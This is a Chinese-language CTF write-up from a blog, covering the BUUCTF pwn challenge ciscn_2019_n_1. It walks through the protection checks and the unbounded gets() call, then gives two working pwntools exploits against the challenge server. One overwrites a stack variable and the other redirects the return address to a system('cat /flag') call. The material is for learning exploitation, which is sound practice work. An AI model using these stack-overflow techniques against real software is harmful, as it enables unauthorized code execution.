pwn刷题num21----栈溢出

61 篇文章 1 订阅
36 篇文章 0 订阅
本文详细介绍了如何分析一个64位Linux程序的保护机制,包括RELRO、Canary、NX和PIE等。通过程序运行过程中的漏洞,利用未限制大小的gets函数输入覆盖栈区变量,实现将浮点数11.28125赋值给目标变量。此外,还展示了两种不同的exploit方法,一种是直接修改栈上的值,另一种是覆盖返回地址调用system获取flag。
摘要由CSDN通过智能技术生成

BUUCTF-PWN-ciscn_2019_n_1

在这里插入图片描述
首先查保护–>看链接类型–>赋予程序可执行权限–>试运行

在这里插入图片描述

64位程序,小端序
开启部分RELRO-----got表可写
未开启canary保护-----可能存在栈溢出
开启NX保护-----堆栈不可执行
未开启PIE-----程序地址为真实地址
动态链接

在这里插入图片描述
运行后发现让我们猜数字,随便写一个(这里写的是12),之后告诉我们Its value should be 11.28125,我们再次运行程序输入11.28125,还是不对,ida一下
主函数
在这里插入图片描述
关于setvbuf函数(定义文件流如何缓冲的)可以看一下菜鸟教程,
这里引用一下菜鸟教程的setvbuf函数
菜鸟教程setvbuf
函数声明:

int setvbuf(FILE *stream, char *buffer, int mode, size_t size)
stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了一个打开的流。
buffer -- 这是分配给用户的缓冲。如果设置为 NULL,该函数会自动分配一个指定大小的缓冲。
mode -- 这指定了文件缓冲的模式:
	_IOFBF	全缓冲:对于输出,数据在缓冲填满时被一次性写入。对于输入,缓冲会在请求输入且缓冲为空时被填充。
	_IOLBF	行缓冲:对于输出,数据在遇到换行符或者在缓冲填满时被写入,具体视情况而定。对于输入,缓冲会在请求输入且缓冲为空时被填充,直到遇到下一个换行符。
	_IONBF	无缓冲:不使用缓冲。每个 I/O 操作都被即时写入。buffer 和 size 参数被忽略。
size --这是缓冲的大小,以字节为单位。

返回值

如果成功,则该函数返回 0,否则返回非零值。

看一下func()函数
在这里插入图片描述
这里需要使v2的值为11.28125
而一开始定义的v2是0.0
看到上面有个gets(&v1)函数,未限制v1的输入大小,看一下栈区
在这里插入图片描述
这里的var_30就是要输入的字符串v1,var_4就是v2

思路

我们可以通过gets函数覆盖var_4的值为11.28125,这里就要知道11.28125对应的16进制码是什么了。
在线进制转换
在这里插入图片描述
11.28125对应的16进制码是0x41348000
exp

from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug') 
p = remote("node4.buuoj.cn",26012)
payload = b'a' * (0x30 - 0x4) + p64(0x41348000)
p.sendline(payload)
p.interactive()

在这里插入图片描述

直接覆盖返回地址为 system(“cat /flag”)地址(0x4006BE),跳过if的判断条件,直接获得flag
在这里插入图片描述
exp

from pwn import *
context(endian='little',os='linux',arch='amd64',log_level='debug') 
p = remote("node4.buuoj.cn",26012)
cat_flag = 0x4006BE
payload = b'a'*(0x30 + 0x8) + p64(cat_flag)
p.sendline(payload)
p.interactive()

运行获得flag
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值